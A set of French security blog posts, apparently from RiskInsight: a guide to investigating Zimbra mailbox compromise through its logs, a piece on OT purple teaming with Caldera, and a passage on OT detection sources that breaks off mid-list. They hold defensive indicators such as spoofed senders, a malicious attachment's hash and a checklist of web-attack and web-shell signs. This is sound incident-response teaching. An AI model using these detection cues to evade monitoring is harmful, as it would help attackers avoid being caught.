Le serveur MTA occupe une place particulière dans l’infrastructure Zimbra. C’est à ce niveau que s’effectue la majorité des contrôles de sécurité appliqués aux courriels entrants. Le schéma ci-dessous présente les principales étapes de ce parcours d’analyse :

Dans le processus de réception d’un courriel entrant, le message est d’abord pris en charge par Postfix. Celui-ci le transfère ensuite à Amavis pour analyse.
Amavis va ensuite récupérer les différents moteurs d’analyse configurés et va soumettre le courriel à chacun d’eux afin d’obtenir leurs résultats.
En fonction des politiques définies, Amavis rend un verdict à Postfix : délivrer le message, le bloquer ou le déplacer vers un dossier spécifique.

Les journaux

À présent que vous êtes un expert en architecture Zimbra (ou presque ), vous avez sans doute remarqué que de nombreux services sont nécessaires pour assurer l’envoi et la réception des courriels des utilisateurs. La bonne nouvelle c’est que chacun de ces services génère ses propres journaux, offrant ainsi une visibilité non négligeable sur l’activité de l’infrastructure de messagerie. Et pour nous, analystes forensiques, c’est une excellente nouvelle ! Car on adore les journaux !

L’étude des logs générés par Zimbra nous permettra en effet de reconstituer la chronologie d’une compromission, identifier les boîtes compromises, repérer des pièces jointes malveillantes ou encore détecter d’éventuels rebonds internes.

Cette richesse d’informations est rendue possible grâce aux journaux principalement localisés dans :

• /opt/zimbra/log/mailbox.log : journal principal des activités utilisateurs (authentifications, envois/réceptions, manipulations de mails, dossiers, contacts, calendriers, etc.).
• /opt/zimbra/log/access_log : journal des accès Webmail (adresses IP, user-agents, URLs consultées).
• /opt/zimbra/log/audit.log : traces d’authentification (succès, échecs, mécanismes utilisés).
• /opt/zimbra/log/sync.log : traces des synchronisations mobiles (ActiveSync/EAS).
• /opt/zimbra/log/convertd.log : traces de conversion de fichiers (aperçus webmail, indexation).
• /opt/zimbra/log/clamd.log| /opt/zimbra/log/freshclam.log : activité de l’antivirus ClamAV.
• /opt/zimbra/log/spamtrain.log : traces de l’entraînement antispam initié par les utilisateurs.
• /opt/zimbra/log/cbpolicyd.log : application des politiques Postfix (quotas, anti-relay, restrictions).
• /var/log/mail.log : logs système Postfix (SMTP, LMTP, Amavis).
• /var/log/nginx.access.log | /var/log/nginx.log : journaux du serveur web nginx (utiles pour contextualiser les sessions web).

Malheureusement, dans une architecture Zimbra distribuée, les journaux ne sont pas centralisés. Autrement dit, pour obtenir une vision complète d’un incident, l’analyste devra souvent collecter les logs sur chaque nœud : proxy, mailstore, MTA ou tout autre serveur périphérique. Oui, cela demande un peu de gymnastique (et de patience).

Nous l’avons dit : la richesse des journaux Zimbra est une véritable mine d’or pour les investigations… mais… comme toute mine, il faut savoir creuser avec méthode, sans quoi on se retrouve vite enseveli sous des tonnes de lignes de logs. Un effort de tri et de corrélation est donc nécessaire pour extraire les informations pertinentes.

Et malgré leur utilité indéniable, les journaux Zimbra présentent quelques limites notables :

• Une impossibilité d’accès au contenu complet des courriels ni à leurs pièces jointes.
• Des sujets des courriels rarement disponibles, sauf lorsqu’ils sont interceptés par les modules antispam ou antivirus.
• Un manque de visibilité native sur la création de règles de redirections.
• La rotation rapide des journaux verbeux (comme mailbox.log), ce qui limite la fenêtre temporelle d’analyse en absence de centralisation des journaux.

Investiguer dans un environnement Zimbra

Maintenant que l’infrastructure et les journaux Zimbra n’ont plus de secrets pour vous, c’est le moment de passer au concret.

Imaginez que vous êtes un analyste forensique, arrivé en avance de bon matin, quand soudain : le téléphone sonne. On vous appelle car plusieurs utilisateurs signalent que des courriels qu’ils n’auraient pas envoyés apparaissent dans leur dossier «Envoyés».

C’est la panique générale !  Les utilisateurs n’osent plus se connecter à leur boîte mail et certains administrateurs commencent à se demander si l’infrastructure Zimbra elle-même ne serait pas compromise.

Puisque vous maîtrisez Zimbra comme personne, c’est naturellement vers vous que l’équipe se tourne pour élucider cet incident !

En tant qu’analyste forensique, beaucoup de questions vous viennent à l’esprit :

• Est-ce que les comptes ont réellement été compromis ? Si oui, comment et depuis quand ?
• Combien d’utilisateurs sont affectés ?
• Quel est l’objectif de l’attaquant et quelles actions malveillantes ont été menées depuis ces comptes ?
• Le serveur de messagerie ou d’autres composants Zimbra ont-ils été compromis ?
• Et, surtout : ai-je le temps de prendre un café avant que la chasse aux informations ne commence ?

Afin de vous aider dans vos investigations, nous allons voir ensemble comment apporter des éléments de réponses via l’analyse des journaux Zimbra. Mais avant cela, voici un ensemble de conseils pour vous aider dans vos investigations

Lors d’une réponse à incidents, il est facile de se sentir submergé par la quantité de journaux et d’événements à analyser. Il est donc important de garder un fil conducteur. Quelques réflexes simples permettent de ne pas perdre le cap :

• Confirmer : Vérifier les informations ayant mené à l’incident. Avant d’avancer dans les investigations, il faut s’assurer de la véracité de l’élément déclencheur. Cette base indéniable servira de pilier pour l’ensemble de l’investigation.
• Corréler : recouper les adresses IP et domaines suspectes avec d’autres sources (proxy, VPN, EDR, bases antivirales en ligne). Cela permet d’obtenir des informations complémentaires en relation avec l’indicateur identifié.
• Pivoter : exploiter les informations collectées pour élargir l’analyse. Un attaquant peut par exemple réutiliser la même adresse IP ou le même user-agent pour cibler plusieurs comptes. À l’inverse, un compte compromis peut être utilisé depuis des adresses IP ou des user-agents différents. Pivoter permet de révéler d’autres indicateurs permettant d’identifier l’attaquant.
• Comparer les motifs : même sans accéder directement au contenu des courriels ou des pièces jointes, certains éléments peuvent révéler des similitudes (taille, nom de fichier identique, séquence d’actions répétée après la compromission d’un compte). Cette approche d’analyse comportementale peut aider à identifier plusieurs utilisateurs compromis par un même attaquant. Ces hypothèses doivent être formulées et manipulées avec prudence mais elles peuvent s’avérer intéressantes pour confirmer une intuition.
• Assurer la conservation des journaux : Cela peut sembler évident, mais dès la détection de l’incident, il est important de sécuriser la conservation des journaux. Cela passe par la collecte immédiate des logs sur l’ensemble de l’infrastructure Zimbra mais aussi par l’allongement de la période rétention pour éviter toute suppression automatique. Car soyons honnêtes : les logs qui disparaissent pile au moment où l’équipe forensique arrive, c’est malheureusement un grand classique… et une mésaventure dont vous vous passerez bien.

Même si ces conseils ne sont pas exhaustifs, ils offrent une bonne base pour réaliser une analyse à la fois rapide et complète.

Compromission et accès initial

Le piège du spoofing

Vous n’êtes pas dupe ! Vous savez que parfois, l’on peut croire que l’attaquant est déjà à l’intérieur du système alors qu’en réalité, il est toujours à l’extérieur (fake it until you make it ). Surtout lorsque plusieurs utilisateurs commencent à signaler des incidents préoccupants, tels que :

• « J’ai reçu un e-mail de telle personne, pourtant elle m’affirme ne jamais l’avoir envoyé »
• « J’ai reçu un e-mail venant de ma propre adresse, ce qui n’a aucun sens ! »

Mais votre expérience vous pousse à vérifier que la confusion actuelle n’est pas le fruit d’une simple attaque… de spoofing.

En effet, le spoofing est une technique d’usurpation d’identité assez simple utilisée par des acteurs malveillants pour falsifier des informations d’en-tête ou d’origine d’un mail afin de tromper une victime. Le spoofing permet d’envoyer un courriel en se faisant passer pour un expéditeur légitime (par exemple un utilisateur interne de l’entreprise ou le destinataire lui-même), alors que le mail provient en réalité d’une infrastructure qui n’a aucune autorisation pour utiliser cette adresse électronique.

L’objectif est de gagner la confiance du destinataire pour l’inciter à réaliser une action (cliquer sur un lien, ouvrir une pièce jointe, fournir des identifiants, etc.) ou de contourner les mécanismes de filtrage.

Les mécanismes tels que SPF, DKIM et DMARC ont été conçus pour limiter les risques liés au spoofing en permettant de vérifier l’authenticité du domaine et du serveur expéditeur.

Plus particulièrement, le Sender Policy Framework (SPF) est un mécanisme de sécurité des courriels qui permet de vérifier que le serveur expéditeur d’un message est bien autorisé à envoyer des courriels pour le domaine indiqué dans l’adresse de l’expéditeur. Les étapes d’un contrôle SPF sont illustrées ci-dessous :

Concrètement, le propriétaire du domaine publie dans les enregistrements DNS une liste des adresses IP autorisées à envoyer des mails pour son domaine. Lorsqu’un serveur de mail reçoit un courriel, il peut comparer l’adresse IP de l’expéditeur à cette liste et déterminer si le message est légitime ou potentiellement frauduleux.

Un échec du contrôle SPF indique que le courriel a été envoyé depuis un serveur non autorisé par le domaine de l’expéditeur. C’est un indicateur qui permet de d’identifier de potentielles tentatives d’usurpation d’identité.

Dans les journaux Zimbra, il est possible d’identifier les échecs de contrôle SPF à l’aide de la commande suivante :

Dans cet exemple, on constate que le message en provenance de attacker@microsoft.com vers user25@wavestone.corp ne valide pas le SPF (SPF_FAIL). Le champ « Yes » indique qu’il est classé comme spam. Son score (9.172) dépassant le seuil requis (4), ce message ne sera donc pas délivré à son destinataire.

Il ne faut cependant pas donner une confiance aveugle au moteur antispam ! Certains courriels échouant le contrôle SPF peuvent malgré tout être délivrés. Pour extraire exclusivement ces messages, vous pouvez utiliser la commande suivante :

Dans l’exemple ci-dessous, le message échoue le contrôle SPF, mais son score est négatif (-2.06) et inférieur au seuil de spam (4). Il est donc considéré comme légitime et délivré au destinataire, malgré l’échec SPF.

Comme vous pouvez le constater, grâce aux journaux Zimbra, il est possible d’identifier rapidement les expéditeurs à l’origine d’attaques de spoofing. Détecter un cas de spoofing dès le début de l’investigation permet de réduire rapidement les inquiétudes et de restaurer un certain niveau de confiance dans l’infrastructure Zimbra.

Analyse de l’accès initial de l’attaquant

Une fois que vous avez confirmé que vous n’êtes pas face à une attaque de spoofing, c’est que l’attaquant a réussi, d’une manière ou d’une autre, à compromettre un compte ou un composant de l’infrastructure. La première étape de votre investigation va consister à identifier le point d’entrée initial de l’attaquant. C’est trouver la réponse aux questions «Où ?», «Quand ?» et «Comment ?». Mais pour compromettre une boîte mail, plusieurs approches sont possibles…

Compromission de compte via brute force du mot de passe

Une première piste que vous pouvez explorer est la possibilité que l’attaquant ait tenté de compromettre certains comptes au moyen d’une attaque par force brute.

Pour cela, il suffit d’examiner dans les journaux Zimbra les échecs d’authentification :

Sur les événements ci-dessus, on observe des tentatives d’authentification provenant de l’adresse IP 100.100.4.111 qui ont échouées pour le compte user25@wavestone.corp.

Un nombre important de tentatives de connexion infructueuses, sur une courte période, depuis une même adresse IP ou envers un même compte, est révélateur d’une tentative de brute force.

Un trop grand nombre d’échecs d’authentification peut également entraîner le verrouillage automatique d’un compte par Zimbra :

Du point de vue forensique, l’apparition d’un tel événement dans les journaux peut suggérer qu’un compte à potentiellement été ciblé.

Une fois la tentative de brute force identifiée. Il est possible de vérifier à quels moments l’attaquant aurait utilisé le compte compromis en analysant les connexions réussies associées à cet utilisateur :

Additionnellement, si vous avez identifié l’IP de l’attaquant, vous pouvez retrouver l’ensemble des connexions réussies depuis cette adresse avec les commandes suivantes :

Une fois les connexions réussies malveillantes identifiées, il est nécessaire d’analyser l’activité du compte postérieure à ces accès afin d’identifier les actions effectuées par l’attaquant.

Compromission de compte par attaque de phishing

Si aucun brute force n’a été identifié. Une autre piste fréquente de compromission initiale est le bien regretté phishing. Ici, l’attaque ne se déroule pas directement « sur » l’infrastructure Zimbra : l’utilisateur a d’abord reçu un courriel l’incitant à visiter une page frauduleuse ou à ouvrir un fichier malveillant. Et ce n’est qu’après avoir cliqué que le mal sera fait (récupération des identifiants de connexion ou jetons de session).

Dans ce scénario, il faudra, si possible, récupérer le courriel malveillant dans la boîte mail de l’utilisateur pour analyse. Si vous arrivez à mettre la main dessus, voici les informations intéressantes à collecter :

• Date et heure de réception
• Objet du message
• Expéditeur (From)
• Destinataires (To, Cc)
• Adresses de réponse (Reply-To, Return-Path)
• Adresse IP du serveur d’envoi d’origine
• Noms des fichiers joints (le cas échéant)
• Résultats des contrôles SPF, DKIM et DMARC
• URL de phishing identifiées (si présentes)

Ces éléments vous permettront de reconstituer la méthodologie de l’attaquant, d’orienter vos investigations et de définir les premières mesures de remédiation.

Malheureusement, dans le scénario où vous n’avez pas directement accès à la boîte mail de l’utilisateur, il faudra essentiellement se reposer sur les journaux Zimbra, et plus précisément, les événements générés par Amavis lors de l’analyse des courriels entrants.

Supposons que vous souhaitez identifier des pièces jointes malveillantes envoyées par un attaquant aux utilisateurs. Pour cela, les journaux générés par Zimbra sont très utiles car ils permettent d’identifier les fichiers qui ont été analysés et d’en extraire des informations comme leur nom, leur taille, leur type ou encore leur empreinte (SHA1).

La commande suivante permet d’identifier les pièces jointes traitées par Amavis lors de l’analyse des messages entrants :

Le résultat ci-dessus montre que le fichier Evil.htm a été analysé par Amavis. On y retrouve plusieurs informations plutôt intéressantes :

• La date et l’heure : 12 novembre à 11h15
• La signature SHA-1 du fichier : 9d57b71f9f758a27ccd680f701317574174e82d8
• La taille : 22111 octets
• Le Content-Type : text/html
• L’ID de session Amavis associé à cette analyse : 4384125-19

Cependant, à eux seuls, ces éléments ne permettent pas de déterminer quels utilisateurs ont reçu cette pièce jointe ni qui en était l’expéditeur. Pour obtenir ces informations, il est nécessaire d’exécuter une seconde commande afin de récupérer l’ensemble des traces associées à cette session Amavis :

De ces informations vous pouvez à présent en déduire que attacker@example.com a envoyé le fichier Evil.htm de 22111 octets à user25@wavestone.corp le 12 novembre à 11h15, dont la signature SHA-1 est 9d57b71f9f758a27ccd680f701317574174e82d8. Pas si mal, non ?

Au cours de vos investigations, vous pourrez filtrer davantage les résultats de ces commandes afin d’identifier :

• Les pièces jointes avec des extensions suspectes (ex. .htm, .html, .exe, .js, .arj, .iso, .bat, .ps1, ou encore des documents Office/PDF contenant des macros)
• Les fichiers déjà observés en amont lors des premières phases de l’incident (par exemple un fichier téléchargé par le patient zéro)

Lors d’une campagne de phishing impliquant l’envoi d’un fichier malveillant, un attaquant a souvent tendance à diffuser le même fichier à plusieurs utilisateurs. Il est donc possible de s’appuyer sur une analyse statistique pour faire ressortir des valeurs anormales.

La commande suivante permet d’identifier des fichiers identiques présents dans différents mails entrants :

La commande ci‑dessus permet de récupérer, pour chaque pièce jointe des messages reçus par Zimbra, le nombre de fois où elle a été observée dans d’autres mails, en se basant sur son nom et sa signature (SHA‑1).

Dans cet exemple, le fichier Evil.htm apparaît dans 40 courriels, ce qui, combiné à son extension .htm, le rend particulièrement suspect. Il serait donc pertinent de tenter de récupérer ce fichier auprès des utilisateurs concernés afin d’en vérifier la légitimité.

Si l’analyse des pièces jointes ne vous a pas permis de dénicher le coupable, il reste une dernière piste à explorer : la récupération des détections de phishing par SpamAssassin (un moteur antispam exécuté par Amavis).

La commande suivante permet de repérer les messages suspectés de phishing par SpamAssassin :

Cependant, cette commande ne fournit que des informations limitées : l’expéditeur, le destinataire et les règles de détection qui ont été déclenchées. Pour obtenir davantage de détails sur l’analyse complète, il faut récupérer l’ID de session Amavis associé au message (ici 765283-08), puis exécuter la commande suivante :

Cette seconde commande permet d’accéder à des informations supplémentaires générées lors de l’analyse du message par Amavis.

Il faut toutefois interpréter les résultats de SpamAssassin avec prudence car ses règles de détection peuvent générer un nombre important de faux positifs.

Exploitation d’une vulnérabilité sur le serveur web Zimbra

Votre expérience d’investigateur forensique vous l’a appris : ce n’est ni la première, ni la dernière fois qu’une vulnérabilité applicative permet à un attaquant de détourner des sessions utilisateur. Zimbra n’échappe pas à cette règle et son serveur web, qui expose l’accès aux boîtes mail, peut très bien être vulnérable à ce type d’attaque.

La compromission du serveur web Zimbra pourrait, en théorie, permettre à un attaquant de capturer des identifiants des utilisateurs qui se connectent. « Mais comment vérifier si Zimbra a subi des tentatives d’intrusion Web ? » me direz-vous ?

Un premier réflexe consiste à inspecter les journaux du proxy (nginx) afin d’identifier des requêtes HTTP malveillantes ou suspectes dirigées vers l’interface web :

Parmi les indicateurs à rechercher dans les journaux, on retrouve notamment :

• Requêtes POST ou PUT inhabituelles ou vers des endpoints inattendus
• Tentatives d’injection (SQLi, LFI, RCE visibles dans les URI ou paramètres)
• Accès répétés à des ressources non publiques ou à des scripts atypiques
• User-Agents étranges ou une forte concentration de requêtes depuis une même IP
• Nombreuses erreurs 4xx/5xx sur des chemins sensibles (détection de scanner/scan d’énumération)
• Indices d’upload de fichiers (tentatives d’accès à /tmp, /uploads, etc.) ou hits sur des web shells connus.

Si vous observez des requêtes malveillantes ayant abouti (par exemple avec un code HTTP 200), il est recommandé de mener des investigations plus approfondies sur le serveur afin de déterminer si l’exploitation a réellement réussi ou non.

Compromission du poste de travail de l’utilisateur

Si aucun des scénarios précédents ne semble correspondre à ce que vous observez et que le point d’entrée initial reste introuvable, il est possible que l’attaquant ait récupéré les identifiants d’accès directement sur le poste de travail de l’utilisateur.

Ce type de compromission peut survenir, par exemple :

• À la suite d’une campagne de phishing antérieure
• Parce-que l’utilisateur a exécuté un programme malveillant sur sa machine (crack, logiciel téléchargé sur un site douteux, branchement d’une clé USB infectée, etc.).

Une fois en mesure d’exécuter du code sur le poste, l’attaquant peut facilement extraire les identifiants stockés dans le navigateur, récupérer des cookies de session, ou même installer un keylogger pour intercepter les frappes clavier.

La détection de ce type de compromission dépasse le cadre de cet article. Mais gardez cette hypothèse en tête : si aucune trace d’intrusion n’apparaît dans Zimbra, le problème vient peut-être d’ailleurs .

Oui ! L’investigation est loin d’être terminée ! Mais cette première partie vous a permis de maîtriser l’architecture de Zimbra, de comprendre les différentes sources d’éléments de preuve et d’observer qu’à travers les journaux Zimbra, il est possible d’identifier plusieurs techniques de compromission. Cependant, l’accès initial ne constitue que le point de départ de nos recherches. Dans une seconde partie, nous poursuivrons l’analyse post–accès initial. Dans un premier temps, nous tenterons d’identifier les actions malveillantes effectuées par l’attaquant après la compromission d’un compte. Dans un second temps, nous passerons en revue les différentes mesures de remédiation à mettre en œuvre. La suite arrive bientôt: un article complémentaire sera publié pour approfondir ces étapes!

Références

• https://wiki.zimbra.com/wiki/Log_Files
• https://wiki.zimbra.com/wiki/Troubleshooting_Course_Content_Rough_Drafts-Zimbra_Architecture_Component_Overview
• https://wiki.zimbra.com/wiki/Trouble_Shooting_Spam_Score_Changes

Cet article Compromission de boîte mail Zimbra : de l’analyse à la remédiation (Partie 1) est apparu en premier sur RiskInsight.

De la conformité à l’efficacité : un changement de paradigme dans les KPI 

KPI signifie Key Performance Indicator (indicateur clé de performance). Cependant, nous avons tendance à créer des KPI pour suivre la progression par rapport à nos plans, non la performance réelle. Bien que cela soit utile, surveiller uniquement le déploiement ou la couverture (nombre de sites connectés au SOC, déploiement d’EDR sur les machines OT, nombre de sondes enregistrées sur la console de gestion) en dit très peu sur la capacité réelle de votre SOC à détecter un attaquant. 

Alors, quel niveau de confiance avez-vous dans vos outils de détection, vos use cases et vos processus ? La seule façon d’en être sûr est simple : les tester.  

Et le meilleur moyen de les tester est d’organiser des exercices de Purple Team. 

Qu’est-ce que le Purple Teaming en OT ? 

Un exercice de Purple Team est une mission collaborative entre la Red Team (attaquants) et la Blue Team (défenseurs). Contrairement à une évaluation Red Team classique, où les équipe de défense ne sont pas tenus informés, un exercice de Purple Team est un effort conjoint et itératif. 

Cette approche collaborative permet aux deux équipes de : 

• Partager les hypothèses sur l’environnement OT 
• Valider la logique de détection en temps réel 
• Identifier les zones d’ombre 
• Améliorer les playbooks et les pipelines de détection 
• Aligner tout le monde sur un modèle de menace réaliste 

Réaliser un exercice de Purple Team 

Un exercice Purple Team se déroule en trois grandes phases : 

1. Préparation

La phase de préparation est souvent la plus difficile, en particulier en OT, où la sureté de fonctionnement, la disponibilité de l’outil industriel et la dépendance aux fournisseurs doivent être prises en compte. 

Selon la maturité de l’organisation, la préparation peut aller du très simple au très sophistiqué : 

• Tests unitaires 
  Petits tests isolés de règles de détection spécifiques (ex. : « Détecter le code fonction Modbus 90 »). 
• Tests basés sur des scénarios redoutés 
  Construire des scénarios autour des « crown jewels » de l’organisation et des modes de défaillance (ex. : « Téléversement non autorisé d’un programme sur un automate contrôlant un procédé critique »). 
• Tests enrichis par la CTI 
  Intégrer la Threat Intelligence : tester les techniques utilisées par de vrais attaquants ciblant l’OT (ex. TTP de Volt Typhoon, Sandworm, Xenotime ou de groupes ransomware visant les environnements industriels). 

Pour structurer la phase de préparation, deux éléments sont essentiels : 

• Une bonne connaissance de votre environnement OT 
  Planifier un exercice pertinent pour les risques métier et la détection OT, sans impacter le procédé, nécessite une connaissance approfondie du site et de son automatisation. 
• Un mapping sur la matrice MITRE ATT&CK for ICS 
  Mapper vos tests avec la matrice ATT&CK vous donne un langage commun avec les équipes de détection. Cela permet de sélectionner les techniques pertinentes, d’éviter les angles morts et de garantir une couverture sur plusieurs couches : postes opérateurs, automates, IHM … 

2. Jour J (Exécution)

L’exécution est réalisée conjointement : 

• La Red Team lance des actions contrôlées et autorisées 
• La Blue Team surveille les évènements détectés en temps réel 
• Les deux équipes ajustent, documentent et valident les résultats tout au long de l’exercice 

Selon le périmètre et la complexité des tests, une opération Purple Team en milieu industriel peut durer de quelques heures à quelques jours. 

Assurer la reproductibilité des tests avec Caldera 

Pour garantir la répétabilité et la cohérence entre les exercices Purple Team, l’automatisation devient essentielle. Nous utilisons Caldera, un framework open-source de Breach & Attack Simulation (BAS) développé par MITRE pour cela. 

En tant qu’ancien pentester, je n’ai jamais aimé le terme « pentest automatisé », mais les outils BAS sont ce qui se rapproche le plus d’une exécution de stimulis d’attaque répétable et sûre. 

Pourquoi utiliser Caldera plutôt que de réaliser tous les tests manuellement ? 

Caldera permet de : 

• Préparer et valider une liste contrôlée de tests sur une liste contrôlée d’actifs 
• S’assurer que seules des actions autorisées sont exécutées 
• Garantir la reproductibilité entre les environnements 
• Rejouer exactement les mêmes actions pour mesurer les améliorations après des changements de configuration 

Des plugins OT spécifiques existent déjà dans le module Caldera-OT, prenant en charge Modbus, Profinet, DNP3, etc. 

Récemment, Wavestone a publié deux plugins OT supplémentaires : 

• Support du protocole Siemens S7 
• Actions de communication OPC-UA 

Caldera en bref 

L’utilisation de Caldera repose sur quatre notions de base : 

• Abilities : actions techniques atomiques (ex. lecture de coils, écriture de tags, scan d’un automate) 
• Adversaries : collections d’abilities formant un scénario 
• Operations : exécution en temps réel de ces adversaries sur une cible 
• Fact sources : paramètres fournis pour une opération ; on peut ainsi lancer les mêmes opérations sur différents environnements en changeant seulement la source de facts 

La vidéo suivante présente une démonstration de Caldera sur notre maquette ICS : 

3. Débriefing

La majorité de la valeur ajoutée de l’exercice provient du debrief. Les types suivants de KPI peuvent être utilisés : 

• Couverture de détection – quel pourcentage des stimuli exécutés a été détecté ? 
• Qualité des alertes – les alertes étaient-elles exploitables, précises et compréhensibles ? 
• Temps de réaction – combien de temps avant qu’une alerte soit déclenchée puis reconnue ? 
• Efficacité des playbooks – les bonnes actions ont-elles été prises dans les délais attendus ? 

Ces résultats peuvent permettre d’aboutir à : 

• Des règles de détection mises à jour 
• Des playbooks SIEM/SOC améliorés 
• Une meilleure architecture de supervision 
• Du matériel de formation pour les analystes et ingénieurs 

Commencez à tester dès maintenant ! 

Le Purple Teaming apporte une valeur immédiate, quel que soit votre niveau de maturité actuel : 

• Il valide vos outils dans des conditions réelles 
• Il forme vos équipes SOC et OT 
• Il révèle les angles morts tôt dans le programme 
• Il fournit des KPI quantitatifs pour piloter les améliorations de détection 

Et oui, cela est possible dans la plupart des environnements de production, sous les conditions suivantes : 

• Périmètre strictement contrôlé 
• Actions approuvées par les fournisseurs 
• Pas d’exécution de fonctions perturbatrices 
• Implication des équipes opérationnelles et sécurité 
• Surveillance continue du comportement du système pendant les tests 

En bref : commencez petit, restez prudent, et itérez. 

N’attendez pas que votre programme de sécurité OT soit “terminé” pour commencer à en tester l’efficacité ! 

Cet article Purple Teaming pour l’OT : Comment passer de la conformité à la performance ? est apparu en premier sur RiskInsight.

Dans cet article précédent : Quelle détection pour l’OT ?  Situation actuelle & perspectives, nous avons constaté que l’OT, bien que moins touché que l’IT, n’est pas exempt ni immunisée contre les cyberattaques. Toutefois, en raison de la difficulté à mettre à jour les systèmes de contrôle industriels (ICS), les mesures de cybersécurité sont souvent ajoutées après le déploiement. Le monitoring continu est perçu comme un substitut pratique à une protection intégrée dès la conception (cyber-by-design).

En matière d’outillage de monitoring, nous avons observé que 100 % de nos clients disposent d’outils de détection déployés du côté IT. Cependant, seul un tiers étend cette surveillance jusqu’aux couches inférieures de l’environnement industriel :

Il existe une grande variété de sources de détection permettant une surveillance (monitoring) à travers les différents niveaux du modèle Purdue :

• Logs de pare-feu (y compris industriels)
• Logs des protection des endpoints (antivirus, whitelisting d’applications, EPP, EDR, etc.)
• Logs d’authentification et d’accès (par exemple, Active Directory ou authentification locale)
• Logs d’accès distant (par exemple, VPN, serveurs de rebond, bastion)
• Les honeypots et autres
• Sondes de détection et de surveillance réseau (écoute des réseaux industriels)
• Logs des stations blanches (par exemple, bornes USB)
• Logs industriels (provenant des systèmes SCADA, IHM, PLC… lorsqu’ils sont disponibles)

Traditionnellement, peu de ces logs sont collectés et analysés par les solutions SIEM et/ou SOAR, avec ou sans modèles de détection OT spécifiques. Pourtant, ils devraient permettre à l’équipe du SOC de détecter, d’enquêter sur les événements de sécurité et d’y répondre.

Élaborer une stratégie de détection cohérente pour les environnements OT ne nécessite pas de collecter les données de toutes les sources possibles. En réalité, quelques sources bien choisies, correctement configurées, peuvent permettre d’offrir une forte visibilité et de solides capacités de détection. L’essentiel est de se concentrer sur les sources de logs qui sont à la fois pertinentes au regard de l’architecture OT et facile à mettre en place sans perturber les opérations. Prioriser la qualité et la pertinence opérationnelle des sources de détection plutôt que leur quantité permet d’assurer une posture de cybersécurité plus efficace et durable.

Comment tirer le meilleur parti des sources de détection ?

Commencer avec les logs déjà disponibles

Une approche pragmatique et rentable de la détection OT consiste à commencer par exploiter les logs et les modèles de détection déjà disponibles dans l’environnement industriel, en particulier ceux qui sont déjà utilisés pour vos environnements IT. Par exemple, les logs des pares-feux, notamment ceux qui surveillent les périmètres IT/OT, peuvent fournir des informations précieuses sur les schémas de trafic réseau, les violations de segmentation ou les tentatives d’accès distant suspectes. De même, les logs Active Directory (AD) peuvent révéler des comportements utilisateurs anormaux, des échecs d’authentification ou des élévations de privilèges — tous étant des signaux critiques dans les contextes IT et OT. L’exploitation de ces sources existantes permet aux organisations de mettre en place des capacités de détection initiales sans investissement lourd, tout en posant une base solide pour une surveillance plus avancée à l’avenir.

Plutôt que de commencer par le déploiement d’outils de détection complexes spécifiques à l’OT, les organisations devraient construire leurs capacités de détection initiales en utilisant ce qui est déjà déployé, configuré et maîtrisé. Cette approche permet non seulement de réduire les coûts, mais aussi d’accélérer la mise en œuvre sur l’ensemble des sites industriels. L’objectif est d’assurer un niveau de visibilité de base cohérent sur les applications, les systèmes et les infrastructures critiques avant d’approfondir la surveillance.

En commençant par l’existant et en se concentrant sur la couverture plutôt que sur la complexité, les organisations peuvent aborder la détection OT avec rapidité, pertinence et réalisme opérationnel, tout en préparant le terrain pour des capacités plus avancées à l’avenir.

Nous allons maintenant aller plus loin en nous concentrant sur les deux outils de détection les plus déployés et discutés dans les environnements industriels aujourd’hui : les solutions EDR et les sondes de détection réseau.

EDR

Les solutions EDR (Endpoint Detection & Response) offrent une surveillance et une analyse continues des activités des points de terminaison afin de détecter les cybermenaces, d’y enquêter et d’y répondre en temps réel. L’EDR collecte des données détaillées telles que l’exécution des processus, les modifications de fichiers, les connexions réseau et le comportement des utilisateurs. En s’appuyant sur l’analyse comportementale et les renseignements sur les menaces (threat intelligence), les outils EDR peuvent identifier des activités suspectes comme les infections par logiciels malveillants, les mouvements latéraux ou les élévations de privilèges.

Cet outil de détection, largement utilisé dans les environnements IT, est désormais adopté par la majorité de nos clients pour un déploiement au sein de leurs environnements industriels.

Cependant, cela ne signifie pas que 100 % des dispositifs OT sont compatibles avec les solutions EDR. En réalité, la compatibilité des EDR varie considérablement selon la diversité des systèmes industriels et leurs contraintes opérationnelles. Le déploiement de l’EDR est généralement simple aux niveaux supérieurs du modèle Purdue, tels que la Couche 3 et la Couche 3.5, où les systèmes (serveurs et postes de travail) ressemblent à des environnements IT traditionnels. À la Couche 2, l’implémentation exige des tests approfondis et une personnalisation, car les dispositifs et les protocoles sont plus spécialisés et leurs ressources limitées. Enfin, aux niveaux les plus bas (contrôleurs, PLC et équipements de terrain), l’EDR n’est généralement pas viable en raison de leur capacité de traitement limitée, de leurs systèmes d’exploitation propriétaires et de leurs exigences de performance en temps réel. Le déploiement sur de tels dispositifs risque de perturber les processus critiques ou de provoquer l’instabilité du système, et doit donc être évité.

Pour les environnements qui le supportent, l’extension de la couverture EDR permet :

• Répondre à la faible maturité : Commencer par des outils plus simples à mettre en œuvre et nécessitant une maturité moindre.
• Couverture étendue : Se concentrer sur la couverture rapide d’un large éventail de systèmes, de sites et d’applications critiques.
• Exploiter les outils IT : Utiliser des solutions basées sur la IT, comme l’EDR, pour une détection efficace sans nécessiter de lourdes exigences d’infrastructure.

Pour conclure, le déploiement d’agents EDR sur les serveurs et les postes de travail OT devient de plus en plus pertinent et représente une possibilité de gain rapide pour la détection OT, selon les retours de nos clients.

Les Sondes de Détection OT

Une sonde de détection (detection probe) est un équipement, qu’il soit virtuel ou physique, connecté au système d’information afin de le cartographier et de le surveiller. Elle est composée de capteurs distribués à travers le réseau pour collecter des données, et typiquement, d’une console centrale pour agréger, corréler et analyser ces informations.

 Les sondes destinées aux environnements industriels, que nous appellerons ici simplement sondes OT, se caractérisent par leur écoute passive et non invasive sur le réseau, ainsi que par leur compréhension des protocoles et comportements industriels. Toutes ces solutions de sondes fonctionnent sur le même principe : le trafic réseau est collecté via une duplication de flux (SPAN, ERSPAN…) ou un duplicateur physique (Taps, etc.). Les paquets sont inspectés en temps réel pour fournir plusieurs types de données : inventaire et cartographie des flux, gestion des actifs et des vulnérabilités, et enfin, détection des anomalies et des incidents. Ce sont précisément les larges capacités de détection promises ainsi que la variété des cas d’usage possibles de ces données et des types d’utilisateurs impliqués (équipes opérationnelles et métiers, équipes de cybersécurité, etc.) qui rendent les sondes OT si populaires.

Cependant, nos clients sont souvent confrontés à des défis importants lorsqu’il s’agit de déployer ces sondes à grande échelle et de les exploiter efficacement pour la détection sur l’ensemble des réseaux industriels.

Voici les défis fréquemment rencontrés lors du déploiement des sondes OT :

